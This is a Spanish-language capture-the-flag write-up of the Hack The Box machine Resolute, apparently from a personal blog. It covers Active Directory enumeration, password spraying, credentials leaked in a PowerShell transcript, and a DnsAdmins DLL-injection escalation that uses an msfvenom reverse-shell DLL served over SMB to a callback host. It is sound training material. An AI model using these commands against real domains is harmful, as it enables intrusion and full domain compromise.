Saltar al contenido

HackTheBox – Resolute – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Resolute de Hack the Box. Es una máquina Windows, de nivel medio, basada en Directorio Activo y con una escalada de privilegios a través de una inyección DLL en un servicio DNS.

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.10.169

En la máquina hay veinticinco puertos abiertos. Escaneo los catorce primeros puertos que he encontrado, ya que los cinco restantes son puertos dinámicos del sistema, para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -sC -sV 10.10.10.169
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-24 17:47 CET
Nmap scan report for 10.10.10.169
Host is up (0.13s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-02-24 17:10:17Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3h02m45s, deviation: 4h37m10s, median: 22m43s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2022-02-24T09:10:29-08:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-02-24T17:10:26
|_  start_date: 2022-02-24T16:56:14

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.58 seconds

Ejecuto un crackmapexec contra el servicio smb para comprobar el sistema operativo y nombre de la máquina.

crackmapexec smb 10.10.10.169

RPC

Accedo al RCP, utilizando rpcclient como usuario NULL y listo los usuarios del dominio.

rpcclient -N 10.10.10.169 -U ''
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

Continuo enumerando los grupos existentes y obtengo una información mas detallada de los usuarios.

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Contractors] rid:[0x44f]
rpcclient $> querydispinfo
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail	Name: (null)	Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator	Name: (null)	Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela	Name: (null)	Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette	Name: (null)	Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika	Name: (null)	Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire	Name: (null)	Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude	Name: (null)	Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount	Name: (null)	Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia	Name: (null)	Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred	Name: (null)	Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo	Name: (null)	Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt	Name: (null)	Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus	Name: (null)	Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko	Name: Marko Novak	Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie	Name: (null)	Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki	Name: (null)	Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo	Name: (null)	Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per	Name: (null)	Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan	Name: Ryan Bertrand	Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally	Name: (null)	Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon	Name: (null)	Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve	Name: (null)	Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie	Name: (null)	Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita	Name: (null)	Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf	Name: (null)	Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach	Name: (null)	Desc: (null)

Como se puede ver en la imagen anterior, en la descripción del usuario marko encuentro un mensaje indicado que la cuenta es de nueva creación y la contraseña Welcome123!.

Explotación

Pruebo si las credenciales marko:Welcome123! son válidas con crackmapexec pero, para todos los servicios, me devuelve STATUS_LOGON_FAILURE.

crackmapexec smb megabank.local -u 'Marko' -p 'Welcome123!' 10.10.10.169

Creo un diccionario, al que llamare raw_rpcusers con todos los nombres de usuario del dominio que he encontrado.

Ahora comprobaré cuantos de estos usuarios se encuentran activos en kerberos con la ayuda de la herramienta kerbrute. Puedo comprobar que veinticuatro de los veintisiete usuarios son válidos.

kerbrute userenum --dc 10.10.10.169 -d megabank.local raw_rpcusers

Pruebo, con crackmapexec, la contraseña que he encontrado anteriormente (Welcome123!) con todos estos usuarios para comprobar si es válida para alguno de ellos y descubro que es válida para el usuario melanie. Esta técnica se llama Password Spraying.

crackmapexec smb megabank.local -u rpcusers -p 'Welcome123!' 10.10.10.169

Las credenciales melanie:Welcome123!, en el smb, no me sirven para autenticarme en el sistema pero, al comprobarlas para winrm, veo que si me sirven para acceder.

crackmapexec winrm megabank.local -u melanie -p 'Welcome123!' 10.10.10.169

Utilizo las credenciales para obtener una shell de WinRM por medio de la herramienta evil-winrm.

evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'

Escalada de Privilegios

User Pivoting

Me dirijo a la raíz del directorio C:, enumero el contenido oculto del directorio y veo una carpeta llamada PSTranscripts.

dir -force

Enumero el contenido del directorio de forma recursiva y encuentro un fichero en texto plano que, por el nombre, indica que es una transcripción de comandos de powershell.

dir -force PSTranscripts -r

Abro el fichero y enseguida encuentro lo que parecen unas credenciales para el usuario ryan.

type C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

Compruebo si las credenciales ryan:Serv3r4Admin4cc123! son válidas para smb y winrm y con ambas me serviría para obtener una shell remota.

crackmapexec smb megabank.local -u ryan -p 'Serv3r4Admin4cc123!' 10.10.10.169
crackmapexec winrm megabank.local -u ryan -p 'Serv3r4Admin4cc123!' 10.10.10.169

Inicialmente, intento obtener la shell con psexec.py pero no me permite hacerlo… supongo que Windows Defender estará bloqueando el intento de conexión de la shell.

psexec.py megabank.local/ryan:'Serv3r4Admin4cc123!'@10.10.10.169

Intento obtener la shell a través de WinRM y esta vez lo consigo sin problemas.

evil-winrm -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!'

En el directorio del usuario ryan encuentro una nota. En resumen, la nota indica que cualquier cambio que yo haga en el sistema, tendrá que completarse en un minuto o será borrado.

Reviso toda la información del usuario ryan y encuentro que pertenece a un grupo del dominio llamado DnsAdmin.

Revisando la documentación de Microsoft sobre este grupo (aquí) veo que puedo utilizar este grupo para hacerme con el controlador del dominio (DC). Googleando un poco, encuentro en LOLBAS y en ired.team con explotar este vector.

En primer lugar, tengo que crear un fichero dll malicioso, pero desconozco la arquitectura del sistema y el comando systeminfo está bloqueado. Ejecuto los siguientes comandos para saber el sistema operativo y la arquitectura del mismo.

reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE

Veo que se trata de un Windows Server 2016 Standard de 64 bits.

Como ya conozco la arquitectura, crearé un fichero mailicioso dll con msfvenom que me genere una shell reversa.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=7897 -f dll -o rshell.dll

Siguiendo las instrucciones de explotación, tengo que compartir este fichero a través de un servidor smb.

sudo impacket-smbserver -smb2support evilsmb .

Pongo un netcat a la escucha por el puerto 7897. Por último, ejecuto el comando para indicar al dns que cargue el dll y paro el servicio dns y lo vuelvo a iniciar.

dnscmd.exe RESOLUTE /config /serverlevelplugindll \\10.10.14.14\evilsmb\rshell.dll
sc.exe stop dns
sc.exe start dns

En los logs del servidor smb puedo comprobar que se ha cargado el fichero.

Y, si voy a la consola del netcat, veo como he obtenido la shell reversa.

Flags

User.txt

La flag de usuario la encuentro C:\Users\melanie\Desktop\user.txt.

Root.txt

La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enActive DirectoryCTFHTBOSCPwindows